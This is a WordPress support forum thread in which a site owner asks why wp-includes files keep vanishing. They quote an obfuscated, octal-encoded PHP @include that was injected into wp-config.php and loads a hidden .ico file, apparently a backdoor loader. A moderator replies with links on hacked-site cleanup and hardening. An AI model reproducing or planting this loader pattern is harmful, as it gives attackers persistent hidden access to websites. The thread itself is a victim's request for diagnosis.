Title: Random wp-includes files going missing
Last modified: May 25, 2020

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# Random wp-includes files going missing

 *  [DaveForum](https://wordpress.org/support/users/daveforum/)
 * (@daveforum)
 * [5 years, 11 months ago](https://wordpress.org/support/topic/random-wp-includes-files-going-missing/)
 * I have a problem with my website crashing at intervals, usually about a week 
   but sometimes longer. I then find that one or two wp-includes files are missing.
   If I replace them the website works again until the next time. I thought it was
   related to a backup plugin but the timing of the backups and the crashes don’t
   coincide. Not sure if it is related but there are (to me) some unexpected numbers
   at the beginning of the wp-config file, but that might be normal.
 * Like this:
    <?php /*a1542*/
 * [@include](https://wordpress.org/support/users/include/) “\057ho\155e/\167ur\
   154it\172e/\160ub\154ic\137ht\155l/\167p-\151nc\154ud\145s/\162es\164-a\160i/\
   05694\0701a\0667d\056ic\157”;
 * /*a1542*/
 * /**
    * The base configurations of the WordPress. * * This file has the following
   configurations: MySQL settings, Table Prefix,etc etc
 * Any ideas? Thank you.

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 *  Moderator [James Huff](https://wordpress.org/support/users/macmanx/)
 * (@macmanx)
 * [5 years, 11 months ago](https://wordpress.org/support/topic/random-wp-includes-files-going-missing/#post-12889505)
 * Carefully follow [this guide](https://wordpress.org/support/article/faq-my-site-was-hacked/).
   When you’re done, you may want to implement some (if not all) of [the recommended security measures](https://wordpress.org/support/article/hardening-wordpress/)
   and [start backing up your site](https://wordpress.org/support/article/wordpress-backups/).

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 * Last reply from: [James Huff](https://wordpress.org/support/users/macmanx/)
 * Last activity: [5 years, 11 months ago](https://wordpress.org/support/topic/random-wp-includes-files-going-missing/#post-12889505)
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